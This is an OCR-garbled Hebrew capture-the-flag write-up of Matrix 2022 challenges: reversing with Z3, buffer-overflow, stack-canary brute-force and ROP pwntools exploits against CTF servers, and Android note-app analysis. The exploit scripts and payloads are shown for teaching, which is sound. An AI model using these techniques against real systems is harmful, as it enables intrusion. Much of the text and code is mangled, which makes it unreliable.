res = [None] * len(1l)
for i, 7 in enumerate (perm) :
res[j] = 1[i]
1[:] = res

(drawcontext, xy, outline=None, width=5):
(x1, Yl), (XZI YZ) = Xy
points = (x1, yl), (x2, yl), (x2, y2), (x1, y2), (x1, yl)
drawcontext.line (points, fill=outline, width=width)

def (img name, input dir= , output dir=
number_tiles:4, outline_width:Z):

tiles = image slicer.slice (os.path.join (input dir,img name),
number tiles=number tiles, save=False)

rand tiles = copy.deepcopy (tiles)
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https://stackoverflow.com/a/54726084

Technologic r

image ids = list (range(len(tiles)))
unshuffle (image ids)
for i in range(fen(tiles)):
rand tiles[i].image = tiles[image ids[i]].image
draw _context = ImageDraw.Draw(rand tiles[i].image)
draw rectangle (draw_context, [(0,0),
(rand tiles[i].image.width,rand tiles[i].image.height)], outline='Db
width=outline width)
image = image slicer in(rand tiles)
image.save (os.path.join (output dir, img name))
if name == "' main ':
input dir =
output dir =
number tiles = 2500
outline width = 0

input files = [f for f in os.listdir(input dir) if
os.path.isfile(os.path.join (input dir, f))]
for img file in input files:
slice(img file, input dir=input dir, output dir=output dir,
number tiles=number tiles, outline width=outline width)

:puzzle.png yaln NX NNOAI output_images N"'?'N7 772, INIX Y2

ONYR4 OF 0 0 00 i 4

£ -

:XIN 72TNW 1IN NIRYYTZ TWOR

MCL{cOn9R475 1 hOP3 yOu dldn7 dO 17 M4nu4LLy}
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Technologic

(n1T172 300 ,Reversing Nn'1avj?) Forks Everywhere Nanx

XANIXRMN DX I]'T_‘l'|7 N7 ANK2

Challenge

Forks Everywhere
300

Can you solve this challenge without getting angry?

* challenge

Flag Submit

NN YNIN7 N0 ,"MINI YAl 91X MANKY

w1 IDA-Q Manrn NX N9 flag-n NN 117 X'W text-N NN XIXNY? 71X - crackme NaNX M> NKM

[9X¥IN 72TN NX 17 W'y XM

= R e SRR

xor eax, eax

mov dword ptr [rbp4enc_flag], 4Dh
mov dword ptr [rbp+enc

mov dword ptr [rbp+enc_flag+8], @Ceh
mov dword ptr [rbp+enc_flag+@Ch],
mov dword ptr [rbp+enc_flag+leh],
mov dword ptr [r »
mov dword ptr [ »
mov dword ptr [r N
mov dword ptr [ »
mov dword ptr [r g
mov dword ptr [ p
mov dword ptr [ ’
mov dword ptr [ »
mov dword ptr [r ’
mov dword ptr [ »
moV dword ptr [r ¥
mov dword ptr [ enc_ h], 21h
mov dword ptr [rbp+enc_flag+d4dh], eCFh
mov dword ptr [ 4
mov dword ptr [r

mov dword ptr [r

mov dword ptr [r

mov dword ptr [r

mov dword ptr [r

mov dword ptr [r

movV dword ptr [

mov dword ptr [

mov dword ptr [r

mov dword ptr [r

mov dword ptr [r

mov dword ptr [

movV dword ptr [

mov dword ptr [

mov dword ptr [

mov dword ptr [r

movV [rbp+var_E

lea rdi, s
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Technologic

#2711 (GHIDRA IX 121nD IDA-2 wnnwn? IN1) decompiler 12370 11NIX

et =1 ¥ J ¥

5 o= 8;

puts(™vou have something for me 2");
_ is0c39 _scanf("%s", s);

for ( 1 = strlen(s) & BxFD; 1 > B; --1 )
1
pid = fork();
if ( !pid )
1
v9 = s[i] + s[1 - 1] + s[i + 1];
vle = s[1i] * s[1i - 1] * s[i + 1];
;i;_=_(chaf?(s[i1ﬂ& 5[} - 1] & s[1 + 1]);
exit(status);
waitpid(pid, &stat loc, @);
/& = BYTEL(=t
if ( BYTEL(st } !'= enc_flag[i] )
1
puts({"Wrong input.™);
exit(1);
}

A=

}

if (w5 == 49 &% (s[@] ~ =[34]) == 48 && s[33] == 33 )
puts({"Congrats!");

else
puts("Wreng input.”);

return 8;

v

}

NIYoY7 N'7xn7 ' .enc_flag-7 nwm XN 'RIENAIY N7 input-nw DR'aN X ORI 1DNIXY NN TR
OP'NS Z3 nwa VPN wnnwa !Congrats 117 0'STN NDIMAY > 0'DN7 1XYW text-n NN

NMYWOX MY 117 27NN XINTDYXI7'NN 70 DX 1'78 D'0"ONY

from z3 import *

20,52,113,212,

p 125]

for i in range (35):
byte = BitVec (f"{i}",
inp.append (byte)

solver = Solver ()
for i in range (35):

solver.add (inp[i
solver.add (inp[i

i]

i]

i]

p2
solver.add(pt == dest|[i
tt "= pt

solver.add(tt == 49)

solver.add (inp[0] ~ inp|[3

if solver.check() == sat:
solution = solver.model ()
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Technologic

flag = []
for i in range (35):
flag.append (chr (int (str(solution[inp[i]]))))
print ("".join (flag))
else:
print ( )

INNXINN DX 727

MCL{maY 7h3 Fork wllL 83 wl7h Yo%)}

N01 ,N'N'Y 19'Y X7 DNY D'IN N9 W'Y R .22TD N7 DR 727 X7 1AaNKRN 72X Mid 179 7y nkw

TP D' K7W YI7'R 9'oInYg

(1220 72N R 117271 72T 270 17 kR AT - "%" v it o

MCL{maY 7h3 Fork wllL 83 wl7h YOU!}

(m1T1;72 100 ,Pwn Nn1aLV) Connection Failed Nanx

XANAIXR'TIN DR '7J|7] NN 1ANX2

Challenge

Connection Failed
100

Can you help me in establishing a connection and get the flag?

nc @.cloud.chals.io 24934
* Connection_f...

Flag Submit

P MYN DR YN ' .client-1 server ,0" X1 D'¥AP7 IW DN W'Y 17 v'ol N
7271 Mwn N yn?a 7'nma client DN O'¥]7 Y 1DINA ZIP yaij7 y'oIn Nanxa
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:strace T 7V Ntyan nn 'an? non

YN 17 YI9PN W

openat (AT FDCWD, "

AW YN 011 ININ NI¥1 Lflag.txt Yalzn "oNw 'an? 0713 1INIX TN

$ echo "flag{Fake_Flag}" > flag.txt
$ ./server

:strace DY NYN DX QY YN TR ,NYIV KIN NN X 20 'OV TAIY NMNYNY NRN)

execve("./server”, ["./ ] X 90 /* 19 vars */)
brk(NULL) X 29ff000
01 /* ARCH_2??? */ 99) = -1 EINVAL (Invalid argument)
d.so.preload NOENT (No such file or directory)
etc/1ld.so.cache”, O_RDONLY EC) = 3
_IFREG|0644 = =67202,
PROT_READ, _PRI e)

P_PRIVATE
PROT_READ | PROT_|
13920, PROT_READ|PROT_

arch_prctl(ARCH 2

mprotect (0x7f8 84, PROT_READ)

mprotect(0x55 Se2@ 8 PROT_READ)

mprotect (0x7f8 4096, PROT_READ

munmap (@x718e@ 67202) )

brk(NULL) 71f29ffeee
71f2a20000) 71f2a20000

T_FDCWD, "flag.txt", O
{st_mode=S_IFREG|0@777
flag{Fake_Flag}\n", S

RDONLY
st_s

12)

F_INET, STREAM, IPPROTO_IP)
INET, sin_port=hton 000), sin_addr=inet_addr("127.1
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11XV MWD DY IR 11X n011 .5000 01192 127.1.33.7 NAIMDY |'TRN NIWN NIXTT 7211 DYonI

NYIY DY NN 1an? '

ryoy .flag-n NN N7IY VIYD MWD MIYPN NNXNAY VAT - TN N 1007 XY 7 kN X7 210

J1'N"9 NAMd KN 127.1.33.7 NaIMd% y1an? ' client-n DX 1an? 17 kvl

10 W = P
Do you want the flag ?

...001NY7 |ATN VAN - 72777 0'9¥N DN NN AWIN 7 'R ...1'7Y DNWRN DX 'Yy 110

argv=s qwora por - sen
argc= dword ptr -64h

fd= dword ptr -54h

addr= sockaddr ptr -Sgéh

user]_input= byte ptr -34h

var_2C= word ptr -2Ch

cp= byte ptr -2Ah

var_22= word ptr -22h

buf= byte ptr -2@h

cookie= gqword ptr -8

3 _ unwind {

endbre4

push rbp

mov rbp, rsp

sub rsp, 78h

mow [rbp+argc], edi

mov [rbp+argv], rsi

mov rax, Ts:28h

mov [rbpt+cockie], rax

xor eax, eax

mov gword ptr [rbp+user_input], "ON’
mov [rbp+var_2C], @

mov rax, '.8.8.721'

mov gword ptr [rbptcp], rax ; 127.8.8.1
mow [rbp+var_22], '1°

mov [rbp+addr.sa_family], 2

mow edi, Seee ; hostshort
call _htens

mov word ptr [rbptaddr.sa_data], ax
lea rdi, s ; "Do you want the flag "
call _puts

mov rax, cs:_ bss_start

mow rdi, rax ; stream

call _fflush

lea rax, [rbp+user_input]

mov rdi, rax

mow eax, @

call _gets

lea rax, [rbp+user_input]

lea rsi, s2 ;s "YES"

mow rdi, rax ;osl

call _strcmp

test eax, eax

jz short loc_133A

NIK7 0'715' NNIX 0N 72K ,YES-7 17w 0770 DR DY 121NN LIDA-N NIRAYZ D213 NNIRY 17D
0'713' 11NIX IDA-Q TIPn 7Y qon vann MWD W NANdN X7 NNTE 127.0.0.1-7 no client-nw
N'NY D'INN 77122 D722 K7W QN9 RIE gets X'N 1N7W 0PN IR NOYIRY DYZI90Y NIRYY

.0'9011 0'IN 0ONT7? D'™71D' NNAX DTN AT NDTA .null-2 NNV X7 XN qoinl J']U'7l|7
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121 CP nanwnn Ty 0'-null M7 'wnni YES n7min NX 070 01507 T NIWYY D'XIN 1INIRY NN

:127.1.33.7 naiman NX 0'DN7

ou want the fla
t fla from t

mipnn NMYY DIpN2a 17 NIY NY? 0T DR NYYT7 27 0T YA 117 IRWIY D .119Y 72270 DR 721

v

% echo -e "YES\xB0\x08\x00\x80\x08\x00\x00127.1.33.7" nc ©.cloud.chals.io 24939

pLE_bof}

22T NN NI

MCL{1t5 51mpLE bOf}

(n1miEa 250 ,Pwn n'1avge) Cookies N1aANX

- SE— '71|72I NN NANKA
Challenge %
Cookies
nc 8.cloud.chals.io 17381
Flag Submit

ANIN Y'IN72 pwn NANK 7'NNA 220D TX,'7 IN

$ ./cookies

How many cookies do you want?

ich taste?
) Chocolate Chip.
2) Caramel Pretzel.

3) Peanut Butter.

> Cookie 55 is ready!

.011' 0179 1INT ...1 1-3 |'2 1901 7ajmi loop-2 Y11 ,190N 721771 MANKNY NX1 NRIIYRD DX TX

NIY7IN NX7 woN7 IDA-7 [nTn yan

MANNK NTO Matrix 2022
www.DigitalWhisper.co.il
30 2022 1,141 '




Technologic

Xor
maw
maw
maw
call
maw
maw
M
call
maw
maw
mow
call
M
maw
call
lea
call
lea
maw
lea
maw
call
MOV X
cmp
jle

eax, eax

rax, cs:stdout@fcLIBC_2 2 5
ezi, @ 3 buf

rdi, rax 3 stream
_setbuf

rax, cs:stdin@@GLIBC 2 2 S
esi, @ ; buf

rdi, rax 3 stream
_setbuf

rax, cs:stderr@ficLIBC_2 2 5
esi, @ ; buf

rdi, rax ; stream
_sethuf

esi, 2 ; fd2

edi, 1 ; fd

_dup2

rdi, s ; "How many cookies do you want?”
_puts

rax, [rbptuser_input]

rsi, rax

rdi, aHd 3 UEhd”
eax, @

_iz0c99 scanf

EEX, [rbmusd‘_input]
ax, 1@

short loc_4813C2

NN a7 AN 2on01 ox 72X ,10 XN NDIMT7 01007 0710 NNIRY 'M'opnn 7TIANY DX

.signed X'N NRNWNN 72K unsigned int XIN D'0Y71j7 1INIXY 1900NY

T2V NYUXIANY) DIRIYNA X 71ITA TIND 1900 Y'Y '7'9¢ 1901 0110107 D713 1ININY NNNIR NRT

QYN 19501 7w n72a00 DX "Iy nf7¥a 101 10-n |uPd Awn' RIN (JLE

31
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STIPN DR 01N7 1'UNN? 1X NIRI'0M K71 117 W'Y 1'WDY TR

L —
loc_401442:
movzx  eax, [rbptuser_input]
emp [rbp+var_14], ax
jbe loc_4613CA
- v
(™ 1=
loc_4B13CA:
call  _fork
mowv [rbp+pid], eax
cmp [rbp+pid], @
jnz short loc 461461
v v L
s = s = | (e =
alty ("] [lea rdi, aWhichTastelCho ; “Which taste?\nl) Chocolate Chip.\n2) Ca”... mov eax, @ |
call  _puts loc_481401:
lea rax, [rbp+buf] mov’ eax, [rbppid]
mov edx, 2eh ; ' ' ; nbytes mov edx, @ ; options
mov rsi, rax 3 buf mov esi, @ ; stat_loc
mov edi, @ ; fd mov edi, eax 5 pid
call  _read call  _waitpid
mov cax, @ mov [rbp+var_14], eax
jmp short loc_491455 movzx  eax, [rbp+var_1a]
lea ecx, [rax+l]
mov eax, [rbptvar_14]
mov edx, eax
mov esi, ecx
lea rdi, format ; "%d -> Cookie ¥d is ready!\n’
mov eax, @
call  _printf
movzx  eax, [rbpivar_1A]
add eax, 1
mov [rbp+var 147, ax
PEE]

,UTN fork MAxI* N1DINN NWTN DAY Wpan "IXY DYD DY NIN [IURIN .0'2'"IYN DT 2-7 2% '‘mnui

Ibuffer overflow 12 wran 132 178 011007 0712 12K X 8 7TIAa buffer 17 w'w nwin 1aTNI

How many cooki jou want?
o |
Which taste?

1) Chocolate Chip.
2) Caramel Pretzel.
3) Peanut Butter.
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
stack smashing detected ***: terminated

:canary 7y YT'n DX 2'NINY7 YN 0'XIN DNKX DX ,bof 191 [AnW canary DA W' 72X bof W' PR TR

https://en.wikipedia.org/wiki/Buffer overflow protection

TN IN 7 NOMT YX¥AT D712 NNIRY (111 ,IN 1IN 7V bruteforce NT nwyiw nn NX "aw"7 nin 7y
77212 qom . 75 2'wn'? yNa DN Npna Nnro 256 JiMa 0713 13NIX DY 70 canary-nn Ta73a

.canary-n 7710 |12t 7w pnyn X fork ' NNt N TAN canary-n fork 17 Uy

:print_flag n'x¥j7219 127 NX'1 - Y1977 |K7 1727 117 "N 0 1redy

from pwn import *
remote ( , 14051)

(payload) :

for i in range (250):
next test = 0x01 * i
next test = bytes([next test])
test payload = payload + next test
p.send(test payload)
if n not in p.recvuntil (
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return next test

p.sendlineafter (
p.recvuntil (
canary =
for i in range(7):
canary += bruteforce next byte( *8 + canary)
info (f"Canary: {hex(u64 (canary))}")

payload = w g

payload += canary

payload += * 8

payload += p64(elf.symbols.print flag)

p.send (payload)

p.interactive ()

:NQN V79N DX 7271 NPT AN INK ...72T7 NDNAENT IR Y

top/cookies’

) on port 17381: Done

3) Peanut Butter.

:XIN 727101

MCL{ALL OfF 7H3 cOOKi35 573 7H3 5am3}
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(n1TI72 400 ,Pwn N*M1aV) Mirror MANN

:NQN XN DX 7271 NTh AN

Challenge x
Mirror
Mirror mirror on the wall, link to the flag it is my goal.
MNote: 'flag.txt' is in the cwd.
nc @.cloud.chals.io 14387
Flag Submit

ANIN YN'72 pwn NANK 7'NNA 7270

AAAAAARAARARAAARAAARAAAARAAAAARAAAAAA

:|7YJI.U'7 anr |'1n‘7 IDA-Y9 YaI?n DX N7 1Y AT DX N0'9TNI D'ANID NNIXY AN DRI NDINNY NXKM)

3 signed _ int&4 mirror()
mirror proc near
sub rsp, 48288Fh
mow eax, B
mov edi, @ ; Td
mov rsi, rsp 3 buf
mov rdx, ds:buffersize ; count
syscall 5 LINUX - sys_read
mowv rdx, rax 3 count
mov eax, 1
push rsp
push 1
pop rdi ; Td
pop rsi 5 buf
syscall 5 LINUX - sys_write
add rsp, 4820@Fh
cmp rdx, 55h ; "U’
jle short exit

retn

mirror endp

:MYLN NX 71721 ,BoF N9 W'y nX1)
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NN YIDPRT TWORY N1MYN NYRAI9 NIY! o111, BoF NIWY? NNWONR 17 W' TN, |2

text:ee8888888848183D

.text:0800000000401030 print_flag:

Ltext:e0ea0000004210830 Mo eax, 2

Ltext:@0000000004010842 Mo rdi, offset false flag ; "false flag.txt"
LLexteopaRaaaaadaladc Mo esi, @

Jtext:efppeopeaadalesl maw kdx, 124h

.text:00000000004081056 syscall 3 LINUX - sys_cpen
.text : /860606808608041016858 mow rdi, rax

Ltextoe2aBaa800421856 Mo eax, 8

Ltext :0806080004010650 Mo rsi, offset buf

Ltext : 8608888888848186A mow rdx, ds:bufferSize
.text:000000000040816072 syscall ; LINUX - sys_read
LJtextofpaboooaadalava Mo eax, 1

Jtext:apaaeaaaaa481879 Mo edi, 1

. text:0000000006481687E syscall ; LINUX - sys write
Jtext:ebpoepbeaadalese call %45

:print_flag n'xj7219%7 Y1977 BoF n1tya? nomn

vyn 112 flag.txt yaizn NX 2'win'? no1n 27 .TI7a 2Mdw nd false_flag.txt NX 0720 NNIXY NXN)
NN 0'9TN? 117 "WOXR'Y payload 1Ix'™? 7211 "71X1 syscall opcode-n NX 117 w'w DWTI' NNIX .NIY

flag.txt 7w pINn

D"7D'Y syscalls [N Daw' .https://filippo.io/linux-syscall-table NN syscall-n N720 7y 112w

TIP7 TN . syscall NT'R YaIpw rax-n 7V 7701 nuw 7 'R 72,109 nnon'? yan 17 amyh

.85-n 71Ta n'N' D'INN 190NY n72an W Q01121 D'ANID 1INIXY D'INN 50N rax-2 MMYIY nxl

false_flag.txt yaI1;7'7 unlink 11¥*7 "WoOXRW N1jzoNn7 12¥an syscalls-n N7201 NT'NN 2ANd 7V oI 1ayna
nw flag-n Nx 7007 false_flag.txt-7 nNa1 1o false_flag.txt 1IN flag.txt 7w symlink qux'"7 m~I

T2 XXNIYW N'X22190 OV INIR 0'9TN7 711 qoi1al

wimnm? a7
from pwn import *
p = remote ( , 14397)
payload = *16

payload += p64 (0x4010
payload += p64(0x4020

2a)
00)

payload += p64 (0x0)
payload += *16
payload += p64 (0x401000)
payload += #2.3

p.send (payload)

payload = “1®

MANNK NTO Matrix 2022
www.DigitalWhisper.co.il
35 2022 1,141 '
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payload += p64(0x40102a)
payload += p64(0x402006)
payload += p64 (0x402000)
payload += *16

payload += p64 (0x40103d)

payload += *24
p.send (payload)
flag =

p.recvuntil ( )
flag += p.recvuntil (

success (flag.decode())

p.interactive ()

i Tipn nR yM

DDﬂé

¢ flag-n NX mawni

MCL{D1D yOu U53 7 OR H4Rd LINk?}
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(n1T172 200 ,Mobile n"1av§7) To Note Nanx

:N2N INTA 7PN NAanKa

Challenge x
To Note
| got this new app to help me keep better track of any random
thought.
Flag Submit

:flag.txt yal7a y'¥a .flag.txt Dwa yal?i ToNote.apk bwa apk yaip oy 9'7 Da 7251

B flag.txt - Notepad

File Edit View

2 645.41401
5 A4

n'xp"wxn Y'¥1 INI2 AN .INY'D Y DT 17 MK Y [I"O"IN NIV TAXRIPZ X7 IND AR NTY NNKN

NN LI Y7 TWORY rP'ayjonny n"xp"?sx NX1 107N NNTYVa

"]

To Note
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NIVTIN MNX 2pY7 TWON 12W) Logcat-2 70N01 DX 72X .ATIN ,INXYN NN 1'YN NIMY NNd INKY

:NQN QTN DR DR (1'TIVO T'RINTINA Log

Xy NI gx1 DN flag.txt-2 0N NIva X 1'woy flag.txt-2 DM90NN NX DMWY DNI90N

:matplotlib-2 wnnwnn V9170 2IMd1 3 DYWY7 VY7 XY

import matplotlib.pyplot as plt
arr = list (map(float, open( ) .read () .split()))

for i in range(len(arr)) :
if (4 =0) :
.append (arr[i])

ys.append (arr[i])

xs.pop ()
plt.scatter (ys, xs)
plt.show ()

TNN) D'DWNN Y 2 0DW 7W DY XY NINd W'y 1% "My D x-0 DY ynn TN Y 1'on X
N'D NNINNY 27 M'Y .AN7¥N2 X7 NN 7Y DNIR [TRY 2rN R P7 L (op'Rn Dy wna anie

:0D"M7ON DY N"P'N NNIXA K¥N) flag.txt yalipnw

= = ) N
w Q w o w
=] = o =] =]
o Is] o =] o =]
L L s L L L
o O

00s

MCLE pl ot Twis s}

00ST 0001

0002

00se

:NIN 2TN 72K NI NWpR Ny

MCL{pLOt Twl5t}
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(n1mi1 500 ,Mobile n*11avp) Or Not To Note Nanx

:NQN XN DX 7271 NTh AN

Challenge

Or Not To Note
500

I've received some feedback about my previous v1.0 app.
hopefully with this new functionality I've made things a little

more secure.

& OrNotToNot....

Flag Submit

:user_data owa n''ni apk yalp oy ©'7 yale DAl

[ T cer_data

B omn ote.apk

:D'"INY'2 DXy v QX7 NXMNI AM ' N Y'™X]

B zbin
B zbin
B 4bin
B sbin
B cbin
B 7bin
B 2bin

B obin
B 10bin

B 11.bin

B 12bin
B 13bin

B 14bin

B 15 hin

(7712) 29 7Y 1-n 0'¥aR 29 DN O W 7'M

39
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D0'N1 24 NI'NY7 DNIMKY DD D112 DNY 0721 N'YLI 101 VYN DYI Hex Editor-1 0'¥apnn 7702 Y\

MW 'dM

| 1 2 3 4 5 6 7 8 9 |10 |11 |12 13 (14 15 16 19 20|21 |22 |23
ooo00000 1D 99 7¢ €1 0O 00 OO 00 21 E4 OD 00 OO OO0 OO OO0 O3 S 00 3¢ 00 00 OO0
[ 2 1D %% 7¢ €1 00 00 OO 00 21 E4 OD OO0 OO0 00 OO 00 OI . 01 01 00 0O 00
D 99 7¢ €1 00 00 OO 00 Z1 E4 OD 0O OO 0O OO 00 OI 01 01 00 00 0O
D 99 7¢ €1 00 00 OO 00 21 E4 OD OO OO OO OO 00 O3 00 D4 03 00 0O
D 99 7¢ €1 00 00 OO 00 21 E4 OD OO OO OO OO 00 O3 00 55 09 00 0O
D 9% 7¢ €1 00 00 OO 0O 21 E4 OD 0O 00 OO0 OO0 0O O3 00 05 00 00 OO0
D 99 7¢ €1 00 00 OO 00 21 E4 OD OO OO OO OO 00 O3 00 05 00 00 0O
D 9% 7¢ €1 00 OO0 OO 00 21 E4 OD 00 0O OO0 OO 0O O3 00 7E 01 01 00
D 99 7¢ €1 00 00 OO 00 21 E4 OD 0O OO OO OO 00 OO 00 00 00 0O 0O
D 99 7¢ €1 00 00 OO 00 21 E4 OD OO OO OO OO 00 O3 00 DZ 03 00 0O
D 99 7¢ €1 00 00 OO 00 21 E4 OD OO OO OO OO 00 O3 00 5e 09 00 0O
D 99 7¢ €1 00 00 OO 00 21 E4 OD OO OO OO OO 00 O3 00 04 00 0O 0O
[ D 99 7¢ €1 00 00 OO 00 21 E4 OD OO OO OO OO 00 O3 00 04 00 0O 0O
[ D 99 7¢ €1 00 00 OO 00 21 E4 OD OO OO OO OO 00 O3 00 7E 01 00 0O
00000 D 9% 7¢ €1 00 00 OO0 00 Z1 E4 OD 00 0O OO0 OO0 00 OO 00 00 00 00 00
00000 ] D 99 7¢ €1 00 00 OO 00 21 E4 OD OO OO OO OO 00 O3 00 DO 03 00 0O
00000384 1D 99 76 &1 00 00 OO 00 21 E4 OD 0O OO OO OO DO O3 00 55 09 00 0O

O'NAN NMINYI 1T INIX 0" 0'¥AZN ORY DAY K] NMAIT? 1T Yal? AN n72un? namnn

NI07InNa n"xp"?smn NX YN .|"yn,0'¥apn rb) |'2 D'NT DIYXRAN

1054 B O &

Or Not To Note (beta)

Nen-Optimal Resolution

NI 12 1'X7 WWORY 0N 7271 NN DIYN NYN'ODIR K7 N7W DUXIZITINY NNNIKY QY TIN DR
TANKY7 TINAY DRI ,|0NN 7V INWN 1YY OTIPN 7 0mn AN DX D™ DY LYY 0179 |n'o ny

NIX NPNINM 01790 1IN 7V NX'NYT XN ,7'7D 7NN X7 XIn DyoSn ,0TIpn
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2y 75non% 110X ,N1MA 'R NIVITIRIP DY DYTIN DIY NO9TIN K7W KIN DTIZN MANKNN "NY TIY

android
om. goo,

14

package or.note;

import
import
import
import
import

public class MainActivity extends AppCompatictivity {

:jadx-2 wnnwa D 0w Jipnn TR

MainActivity

android.os.Bundle;
android.util.DisplayMetrics;

android. view.View;

android.widget.Button;
androidx.appcompat. app. AppCompatActivity;

loaded from: classes.dex */

Button b;
private Takelote takeNote;

: protected

/% JADX INFO: Access modifiers changed fr
rr ctivity, androidx.activity.CompenentActivity, androidx.core.app.ComponentActivity, andr

@0verride // andreidx.fragment.app.Fragme
public void onCreate(Bundle bundle) {

super.onCreate(bundle);

setContentView(R.layout.activity main);

this.takelote = (TakelNote) findViewById(R.id.paintView);
DisplayMetrics displayvetrics = new DisplayMetrics();
getiindowtanager (). getDefaultDisplay() . getMetrics(displaytietrics);
this. takeNote.initCanvas(displayMetri

22 Button button = (Button) findViewById(R.id.clear);

this.b = butten;

23 button.setOnClickListener(new View.OnClickListener() {

@0verride // android.v "

public final void onClick(View view) {
MainActivity. this.m2lanbdaSonCreate$@SornoteMainActivity(view);

// from class: or.note.MainActivity$$External Syntheticl ambdad

iew.

LambdagonCreategegor-note-rainActivity regson: not valid jm
22 public ic */ void m2lambdasonCreate$esornoteMainActivity(view view) {
this.takelote.clear();

MANKT1NUXPYORYT 11D View-1 1t 1) ,)y0l TakeNote n'71y n'¥p'79x8nY yanaw nxXM)

or.note;

android.content.Context;
android.graphics.Bitmap;
android.graphics.Canvas;
android.graphics.Color;
android.graphics.Paint;
android.graphics.Path;
android.util.AttributeSet;
android.util.DisplayMetrics;
android.util.Log;
android.view.MotionEvent;
android.view.View;
android.widget.Toast;
java.util.ArrayList;
java.util.Iterator;

TakeNote extends View {
BRUSH SIZE = g
TOUCH TOLERANCE =
backgroundColor;
P mBitmap;
Paint mBitmapPa
Canvas mCanvas;
Paint mPai
Path mPath;
mX
e 2
ArrayList<PathProperties> paths;
strokeWidth;
COLOR =
BG _COLOR =

4.0f;

Color.rgb (7C

Color.rgb (248,

TakeNote (Context context) {
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this (context, null);

TakeNote (Context context, AttributeSet attributeSet) {
super (context, attributeSet);
this.paths = new ArraylList<>();
this.backgroundColor = BG COLOR;
this.mBitmapPaint = new Paint (4);
Paint paint = new Paint();
this.mPaint = paint;
paint.setAntiAlias (true) ;
paint.setDither (true) ;
paint.setColor (COLOR) ;
paint.setStyle (Paint.Style.STROKE) ;
paint.setStrokeJoin (Paint.Join.ROUND) ;
paint.setStrokeCap (Paint.Cap.ROUND) ;
paint.setXfermode (null) ;
paint.setAlpha (255);

initCanvas (DisplayMetrics displayMetrics) {

1 = displayMetrics.heightPixels;

i2 = displayMetrics.widthPixels;
Context context = getContext();
if (i !'= 2178 || 12 !'= 1080) {

Toast.makeText (context,

Log.d( ’ ) &
}
this.mBitmap = Bitmap.createBitmap(i2, i, Bitmap.Config.ARGB 8888) ;
this.mCanvas = new Canvas (this.mBitmap) ;
this.strokeWidth = BRUSH SIZE;

clear () {
new SaveNote (this.paths) .save () ;
this.paths.clear();
invalidate () ;

}

@Override
onDraw (Canvas canvas) {

canvas.save () ;

this.mCanvas.drawColor (this.backgroundColor) ;

Iterator<PathProperties> it = this.paths.iterator();

while (it.hasNext()) {
PathProperties next = it.next();
this.mPaint.setColor (next.color) ;
this.mPaint.setStrokeWidth (next.strokeWidth) ;
this.mPaint.setMaskFilter (null) ;
this.mCanvas.drawPath (next.path, this.mPaint);

}

canvas.drawBitmap (this.mBitmap, 0.0f, 0.0f, this.mBitmapPaint);

canvas.restore () ;

touchStart ( f, £2) {
.mPath = new Path () ;
.paths.add (new PathProperties (COLOR, this.strokeWidth, this.mPath));
.mPath.reset () ;
.mPath.moveTo (£, £2);
.mX = f;
.mY = £2;

touchMove ( f, £f2) {
abs = Math.abs(f - this.mX):;
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abs2 = Math.abs(f2 - this.mY);
if (abs >= TOUCH TOLERANCE | | abs2 >= TOUCH TOLERANCE) {
Path path = this.mPath;
£3 this.mX;
f4 = this.mY;
path.quadTo (£3, f4, (f + £3) / 2.0f, (f2 + f4) / 2.0f);
this.mX = £;
this.mY = £2;

touchUp () {
this.mPath.lineTo (this.mX, this.mY);

}

@Override
onTouchEvent (MotionEvent motionEvent)
x = motionEvent.getX() ;
y = motionEvent.getY();
action = motionEvent.getAction() ;
if (action == 0) {
touchStart (x, Vy):;
invalidate () ;
} else if (action == 1) {
touchUp () ;
invalidate () ;
} else if (action == 2) {
touchMove (x, Vy);
invalidate () ;
}

return true;

.1080x2178 7w N"XI71IT12 10N7 NOXYN NYPI7ONNY NN NYNMUDIR-K7N NUNI7ITIN ["1ya ,N'WRD
N71Y90 NNN ,A10 75N01 DX X .WNNYNN 7¢ 0770 DR 1UYY7 ARIT 0IWD TIPN IRYY N1 DY

:NNQAN NI oI clear

new SaveNote (this.paths) .save();

72 DX LINIX MW7 MK SaveNote TN ,IN'YW I'¥N 7¢ INT nWyN7 XN paths NInwnnw nnina

:SaveNote 7y '70n01

or.note;

import android.util.Log;
import java.util.ArrayList;

SaveNote {
String TAG = g
ArrayList<PathProperties> note;

SaveNote (ArrayList<PathProperties> arrayList)
this.note = arraylList;

save () {
Log.d (this.TAG,
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N7 IR ?All Dipna HAL nn% .Logger-n 70T nYTINN NO9TN 71 X7X ,N'MY Ny¥aNn X7Y nX1)
:WIY VAN DWUN "I PathProperties-7 112v1 2t
or.note;

import android.graphics.Path;

PathProperties {
color;
Path path;
strokeWidth;

PathProperties ( i, i2, Path path) {
this.color = i;
this.strokeWidth = i2;
this.path = path;

NIN 727N DYOSN DA DTIZN NANKD 1NDYW '7¢ DAUNNN .07 DRI 117 W' DM YpRIR DTN
NITIPO DAY IX X7 NIVITIRIZ DAX'™ INWI'R DINIANY NNIK X'RIVIRD TR QY nwyn?
193 72K .N'9'Y90 NUXIZITY )X NN 12007 710 AT L |NNRN [I'YA7 N noR AR ArY? niny

1?70'wIy NN ™ INNNwa INIR Nx"'Y NITIPON IRA'XN 12 TP DIPN DIY 'K, 1I'RWY

X7 N1 X frida DATYA NI71IW9 ' 9D ANK A1RYY 'O, NIXY 10N T MM AT A7WAY NITING 2N IR
unn Dxya XINY Nannl (anxa TN o) HAL 7y nxp XNph 'mo7nn 91017 791 7'win

DTN 7707 'Myanwd (D770 'N12N '97 12 NINSY) T'RINTINA NIDINT NNINN 2 WWpnn

To guarantee that HALs have a predictable structure, each hardware-specific HAL interface has properties defined in
hardware/libhardware/include/hardware/hardware.h . This interface allows the Android system to load correct
versions of your HAL modules in a consistent way. A HAL interface consists of two components: modules and devices.

.DINI'2N DX ['AN7 NI017 'MTNI,T'RNTIR 7W 17nn TIRa DY) 7Aynn? nxN X7 RY 'Mo7nn

.(DMX12NN TNX 722 DNYY 2V DMTINY) DIIWRIN D'NAN 4 70 NDWINN NIYONoN MNN

o 1 2 3

N78N D'NAN DX ') DX Uittle endian-a timestamp nwyn? Dnw (Nzv1T X70) Napon? myan

:N2N N2TN NN NN ,NNN NKY 011011 190nY

Convert epoch to human-readable date and vice versa

1635162397 Timestamp to Human date

Supports Unix timestamps in seconds, milliseconds, microseconds and nanoseconds.

Assuming that this timestamp is in seconds:

GMT : Monday, October 25, 2021 11:46:37 AM
Your time zone : Monday, October 25, 2021 2:46:37 PM
Relative : 8 months ago
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D'N2N XY NIYNYN NN 207 N1017 "7 [1'0 75 IR .JNIRN NN AND1 DTN MANRNY MYON MNaY
